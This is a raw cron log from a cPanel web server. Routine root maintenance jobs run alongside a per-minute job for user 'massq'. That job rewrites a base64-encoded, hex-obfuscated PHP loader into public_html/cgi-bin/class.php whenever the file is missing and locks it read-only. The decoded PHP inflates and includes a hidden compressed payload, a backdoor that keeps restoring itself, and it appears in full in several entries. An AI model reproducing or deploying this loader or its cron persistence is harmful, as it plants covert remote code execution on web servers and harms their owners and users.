Aug 30 22:15:01 server CROND[9942]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:16:01 server CROND[10780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:16:01 server CROND[10781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:16:01 server CROND[10782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:17:01 server CROND[11154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:17:01 server CROND[11155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:17:01 server CROND[11156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:18:01 server CROND[11528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:18:01 server CROND[11529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:18:01 server CROND[11530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:19:01 server CROND[11992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:19:01 server CROND[11993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:19:01 server CROND[11994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:20:01 server CROND[12408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:20:01 server CROND[12412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:20:01 server CROND[12411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:20:01 server CROND[12410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:20:01 server CROND[12416]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:20:01 server CROND[12418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:20:01 server CROND[12413]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:20:01 server CROND[12414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:20:01 server CROND[12415]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:21:02 server CROND[13249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:21:02 server CROND[13250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:21:02 server CROND[13251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:22:01 server CROND[13637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:22:01 server CROND[13638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:22:01 server CROND[13639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:23:01 server CROND[14032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:23:01 server CROND[14033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:23:01 server CROND[14031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:24:01 server CROND[14555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:24:01 server CROND[14556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:24:01 server CROND[14557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:25:01 server CROND[14938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:25:01 server CROND[14940]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:25:01 server CROND[14945]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 22:25:01 server CROND[14946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:25:01 server CROND[14943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:25:01 server CROND[14948]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:25:01 server CROND[14942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:25:01 server CROND[14941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:26:01 server CROND[15776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:26:01 server CROND[15777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:26:01 server CROND[15779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:27:01 server CROND[16162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:27:01 server CROND[16164]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:27:01 server CROND[16163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:27:01 server CROND[16165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:28:01 server CROND[16542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:28:01 server CROND[16543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
